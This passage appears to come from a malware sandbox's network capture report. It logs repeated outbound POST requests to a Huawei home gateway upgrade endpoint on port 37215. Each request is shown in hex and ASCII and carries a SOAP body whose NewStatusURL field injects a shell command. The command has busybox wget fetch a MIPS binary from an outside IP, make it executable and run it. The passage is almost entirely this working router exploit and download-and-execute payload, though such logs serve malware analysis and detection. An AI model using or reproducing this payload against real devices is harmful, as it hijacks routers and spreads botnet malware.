s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:31.838078976 CET	2982	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:36.701549053 CET	3116	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	156.230.31.63	37215	192.168.2.23	50212

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:34.042853117 CET	3061	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:35.645587921 CET	3091	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:37.533289909 CET	3143	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:41.308778048 CET	3248	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.23	50212	156.230.31.63	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:34.042853117 CET	3061	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:35.645587921 CET	3091	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:37.533289909 CET	3143	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
